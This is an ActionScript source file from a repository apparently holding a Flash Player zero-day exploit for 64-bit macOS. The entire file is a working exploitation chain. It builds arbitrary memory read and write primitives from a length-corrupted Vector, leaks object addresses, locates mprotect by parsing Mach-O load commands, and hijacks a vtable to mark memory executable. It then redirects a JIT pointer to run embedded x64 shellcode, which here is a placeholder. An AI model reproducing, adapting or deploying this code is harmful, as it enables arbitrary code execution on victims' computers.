hackedteam/vector-exploit

View on GitHub
src/flash-0day-vitaly1/src/ShellMac64.as

Summary

Maintainability
Test Coverage
package
{
    import flash.utils.ByteArray;
    import flash.utils.Endian;
    
    class ShellMac64 extends MyClass
    {
        static var
            _v:Vector.<uint>,    // uint vector with corrupted length
            _vAddr:Number,        // _v[0] address
            _base:Number,
            _baseMax:Number,
            _baseOld:Number,
            _mc:MyClass2,        // descendant of ByteArray allocated right after _v[]
            _mcOffs:uint,        // index of mc.o1 within _v[]
            N32:Number             = Math.pow(2,32),
            
            // x64 shellcode 
            _x64:Vector.<uint> = Vector.<uint>([
                // "empty" payload // returns 12345678
                0x90909090, 0x90909090, 0x90909090, 0x90909090,
                //0xcccccccc, 0x90909090, 0x90909090, 0x90909090,
                0x90909090, 0x90909090, 0x90909090, 0x90909090,
                0x90909090, 0x90909090, 0x90909090, 0x90909090,
                //...
                0x614EB848, 0x000000BC,     // mov rax, 0xBC614E;
                0xC1480000, 0x834803E0,     // shl rax,3; add rax,6;    // rax as int atom
                0x90C306C0                    // ret
            ]);
            
        // converts two uints to hex string
        static function Hex(n:Number):String
        {
            if (n >= 0 && n <= 9) return n.toString() 
            else return "0x" + n.toString(16);
        }            
        
        // init global vars
        static function Init(v:Vector.<uint>, offs:uint, mc:MyClass2, mcOffs:uint):Boolean
        {
            _v = v; _mc = mc; _mcOffs = mcOffs;
            
            _vAddr = Get64(mcOffs, 0xfffff000) - offs;
            _baseOld = Get64(mcOffs-8);
            //logAdd("v[0] address = " + Hex(_vAddr));
            //logAdd("mc old base = " + Hex(_baseOld));
            
            // prepare new base for mc
            v[6] = 0xffffffff; // ByteArray::capacity
            v[7] = 0xfffffffe; // ByteArray::length
            mc.endian = Endian.LITTLE_ENDIAN;
            
            // set new base
            Set64(mcOffs-8, _vAddr);
            _base = 0;
            _baseMax = 0xfffffff0;
            
            // check results
            var len:uint = mc.length;
            //logAdd("mc.length = " + Hex(len));
            return len == v[7];
        }        
        
        // restores corrupted memory
        static function CleanUp()
        {
            // restore _v.length
            Set32(_vAddr - 0x10, _vLen);
            
            _v[6] = 0; // _mc.capacity
            _v[7] = 0; // _mc.length
        }
        
        // join two uints as uint64
        static function Num(low:uint, hi:uint):Number
        {
            var n:Number = hi;
            if (n != 0) n *= N32;
            n += low;
            return n;
        }
        
        // get high uint from uint64
        static function Hi(n:Number):uint
        {    
            return uint(Math.floor(n / N32) & (N32-1));
        }
        
        // get low uint from uint64
        static function Low(n:Number):uint
        {    
            return uint(n & (N32-1));
        }
        
        // reads uint64 from _v[]
        static function Get64(offs:uint, mask:uint = 0xffffffff):Number
        {
            return Num(_v[offs] & mask, _v[offs+1]);
        }
            
        // writes uint64 into _v[]
        static function Set64(offs:uint, n:Number)
        {
            _v[offs] = Low(n);
            _v[offs+1] = Hi(n);
        }
            
        // sets new address pointer for _mc[0]
        static function SetBase(addr:Number)
        {
            if (addr < _base || addr >= _baseMax) {
                Set64(4, addr); // _v[4],[5]
                _base = addr;
                _baseMax = addr + 0xfffffff0;
            }
        }
        
        // reads uint from the memory address
        static function Get32(addr:Number):uint
        {
             //if (addr < 0x10000) throw new Error("Get32() at addr = " + Hex(addr)); // bad pointer
            if (addr < 0x10000) throw new Error(""); // bad pointer
            
            SetBase(addr);
            _mc.position = uint((addr - _base) & (N32-1));
            return _mc.readUnsignedInt();
        }
        
        // writes uint into the memory address
        static function Set32(addr:Number, u:uint)
        {
             //if (addr < 0x10000) throw new Error("Set32() to addr = " + Hex(addr)); // bad pointer
            if (addr < 0x10000) throw new Error(""); // bad pointer
            
            SetBase(addr);
            _mc.position = uint((addr - _base) & (N32-1));
            _mc.writeUnsignedInt(u);
        }    
        
        // reads uint64 from the memory address
        static function Get(addr:Number):Number
        {
             //if (addr < 0x10000) throw new Error("Get() at addr = " + Hex(addr)); // bad pointer
            if (addr < 0x10000) throw new Error(""); // bad pointer
            
            SetBase(addr);
            _mc.position = uint((addr - _base) & (N32-1));
            var lo:uint = _mc.readUnsignedInt();
            var hi:uint = _mc.readUnsignedInt();
            return Num(lo,hi);
        }
        
        // writes uint64 into the memory address
        static function Set(addr:Number, n:Number)
        {
             //if (addr < 0x10000) throw new Error("Set() to addr = " + Hex(addr)); // bad pointer
            if (addr < 0x10000) throw new Error(""); // bad pointer
            
            SetBase(addr);
            _mc.position = uint((addr - _base) & (N32-1));
            _mc.writeUnsignedInt(Low(n));
            _mc.writeUnsignedInt(Hi(n));
        }        
        
        // returns object's address 
        static function GetAddr(obj:Object):Number
        {
            _mc.o1 = obj;
            return Get64(_mcOffs) - 1; // atom decrement
        }
        
        // get memory dump // for RnD
        static function Dump(addr:Number, len:uint):String
        {
            var str:String = "";
            for(var i:uint; i < len; i++, addr+=8) {
                str += Get(addr).toString(16) + ",";
                if (i % 8 == 7) str += "<br>";
            }
            return str;
        }
        
        // searches for the mprotect() address
        static function FindMP():Number
        { 
            try 
            {                
                // find Mach64 header
                var b:Number = Get64(_mcOffs-4, 0xfffff000) - 0x1900000;
                for(var i:uint; i < 0x100; i++, b -= 0x1000){
                    // check 'FEEDFACF'
                    //if (Get32(b) == 0xfeedfacf) { logAdd("module base = " + Hex(b)); break; } 
                    if (Get32(b) == 0xfeedfacf) { logAdd(""); break; } 
                }
                //if (i >= 0x100) throw new Error("can't find FEEDFACF at " + Hex(b));
                if (i >= 0x100) throw new Error("");
                
                // get number of load commands
                var lcn:uint = Get32(b + 0x10);
                var stub:Number = 0, sym:Number = 0, isym:Number = 0, str:Number = 0, s:Number, link:Number = 0, offs:Number = 0,  
                    symCnt:uint, strCnt:uint, stubCnt:uint, stubIdx:uint, stubSize:uint, f:uint;
                    
                // find LC_SEGMENT_64, LC_SYMTAB and LC_DYSYMTAB segments
                for(var lc:Number = b + 0x20; lcn > 0; lcn--) {
                    f = Get32(lc);
                    // check for LC_SEGMENT_64
                    if (stub == 0 && f == 0x19) {
                        // get number of sections 
                        var sn:uint = Get32(lc + 0x40); 
                        for(s = lc + 0x48; sn > 0; sn--, s+=0x50) {
                            f = Get32(s + 0x40);
                            // check S_SYMBOL_STUBS and S_ATTR_PURE_INSTRUCTIONS section flags
                            if ((f & 0xff) == 8 && (f & 0x80000000) != 0) {
                                stub = b + Get(s + 0x20);
                                stubIdx = Get32(s + 0x44);
                                stubSize = Get32(s + 0x48);
                                if (stubSize == 6) stubCnt = Get32(s + 0x28) / stubSize;
                                break;
                            }
                        }                            
                    }
                    // get _LINKEDIT offset
                    else if (f == 0x19 && Get32(lc + 0xa) == 0x4b4e494c) {
                        link = Get(lc + 0x28)
                        offs = Get(lc + 0x18) - link;
                    }                    
                    // check for LC_SYMTAB
                    else if (sym == 0 && f == 2) {
                        sym = b + Get32(lc + 8);
                        symCnt = Get32(lc + 12);
                        str = b + Get32(lc + 16);
                        strCnt = Get32(lc + 20);
                    }
                    // check for LC_DYSYMTAB
                    else if (isym == 0 && f == 11) {
                        isym = b + Get32(lc + 0x38);
                    }

                    if (stub != 0 && sym != 0 && isym != 0) break;
                    
                    // move to the next LC
                    lc += Get32(lc + 4);
                }
                
                // check results
                if (stub <= b || stubCnt == 0 || sym <= b || str <= b || isym <= b)
                    throw new Error("");
                    //throw new Error("stub = " + Hex(stub) + ", stubCnt = " + stubCnt + ", stubSize = " + stubSize 
                    //                + ", isym = " + Hex(isym) + ", sym = " + Hex(sym) + ", str = " + Hex(str));
                
                // add _LINKEDIT segment offset
                if (offs > 0) {
                    link += b;
                    if (sym >= link) sym += offs;
                    if (isym >= link) isym += offs;
                    if (str >= link) str += offs;
                }
                
                // find '_mprotect' symbol 
                for(i=0; i < stubCnt; i++, isym+=4) {
                    // get symbol index
                    f = Get32(isym);
                    //if (f == 0 || f > symCnt) throw new Error("isym = " + Hex(isym) + " -> " + Hex(f));
                    if (f == 0 || f > symCnt) throw new Error("");
                    
                    // get string index
                    f = Get32(sym + f*16);
                    //if (f == 0 || f > strCnt) throw new Error("sym = " + Hex(sym) + " -> " + Hex(f));
                    if (f == 0 || f > strCnt) throw new Error("");
                    
                    // compare string with '_mpr' and 'ect'0
                    if (Get32(str + f) == 0x72706d5f && Get32(str + f+6) == 0x746365) {
                        // check stub pointer
                        stub += i*stubSize;
                        f = Get32(stub);
                        if ((f & 0xffff) == 0x25ff) return stub; // ok
                        
                        //logAdd('_mprotect stub = ' + Hex(stub) + " -> " + Hex(f));
                        break;
                    }
                }
                
                //if (i >= stubCnt) throw new Error("can't find '_mprotect' stub");
                if (i >= stubCnt) throw new Error("");
            } 
            catch (e:Error) 
            {
                //logAdd("FindMP() " + e.toString());
            }
            
            return 0;
        }
        
        // declare dummy victim function
        static function Payload(...a){}                
        
        // corrupts Payload function and calls mprotect()
        static function CallMP(mp:Number):Number
        {
            // generate Payload() function object
            Payload();
            Payload.call(null);

            // find vtable pointer in Payload()
            var p:Number = GetAddr(Payload);
            var ptbl:Number = Get(Get(Get(p + 0x10) + 0x28) + 8) + (_isDbg ? 0x120:0x108);
            // save old pointers
            var p1:Number = Get(ptbl);
            var p2:Number = Get(p+0x38);
            var p3:Number = Get(p+0x40);
            var p4:Number = Get(p1-8);
            //logAdd(Dump(p,16) + "<br>" + Hex(p1) + ", " + Hex(p2) + ", " + Hex(p3));
            
            // allocate storage for payload and get his address
            var len:uint = _x64.length;
            var v:Vector.<uint> = new Vector.<uint>(Math.max(0x700, len + 0x400));
            var vAddr:Number = GetAddr(v);
            //logAdd("x64[] object = " + Hex(vAddr));
            vAddr += _isDbg ? 0x38 : 0x30;
            if (Get(vAddr) < 0x10000) vAddr -= 8; // for FP 11.4
            vAddr = Get(vAddr) + 0x10;
            var u:uint = (0x1000 - (vAddr & 0xfff)) >>> 2;
            vAddr += u*4; // for page alignment
            //logAdd("x64[] data = " + Hex(vAddr));
            
            // create copy of vtable
            var j:uint = u;
            for(var i:uint; i < 0x100; i++, j++) v[j] = Get32(p1 + i*4);
            var p11:Number = Get(p1)-0x100;
            for(i=0; i < 0x200; i++, j++) v[j] = Get32(p11 + i*4);
            // set new vtable pointer 
            v[u-2] = Low(p4); 
            v[u-1] = Hi(p4);
            v[u+0] = Low(vAddr + 0x140*4); 
            v[u+1] = Hi(vAddr + 0x140*4);             
            // redirect one method pointer to mprotect()
            v[u+0x140 + 16] = Low(mp); 
            v[u+0x140 + 17] = Hi(mp); 
            
            // set second arg for mprotect()
            Set(p+0x38, 0x1000 * ((len >>> 12) + 1));
            // set third arg = 7 = PROT_READ + PROT_WRITE + PROT_EXEC
            Set(p+0x40, 7);
            
            // replace vtable pointer in Payload() and set first arg for mprotect()
            Set(ptbl, vAddr);
            
            // call mprotect(vAddr, size, 7)
            Payload.call(null);
            
            // restore old pointers
            Set(ptbl, p1);
            Set(p+0x38, p2);
            Set(p+0x40, p3);
            
            // copy _x64[] into v[]
            for(i=0; i < len; i++, u++) v[u] = _x64[i];
            _gc.push(v);
            
            // return pointer to payload
            return vAddr;
        }
        
        
        //
        static function Exec()
        {                                        
            try 
            {                                                    
                // find mprotect() address
                var mpAddr:Number = FindMP();
                //logAdd("mprotect() address = " + Hex(mpAddr));
                
                // call mprotect()
                var xAddr:Number = CallMP(mpAddr);    
        
                // find Payload JIT code pointer
                var payAddr:Number = GetAddr(Payload);
                //logAdd("Payload() object = " + Hex(payAddr));
                payAddr = Get(Get(payAddr + 0x38) + 0x10) + 8;
                var old:Number = Get(payAddr);
                //logAdd("Payload() address = " + Hex(old));
                
                // replace JIT pointer by payload pointer
                Set(payAddr, xAddr);        
                
                // call x64 payload
                var res = Payload.call(null);
                //logAdd("Payload() returns " + res);
                    
                // restore old pointer
                Set(payAddr, old);
            }
            catch (e:Error) 
            {
                //logAdd("Exec() " + e.toString());
            }
            
            CleanUp();
        }

    }

}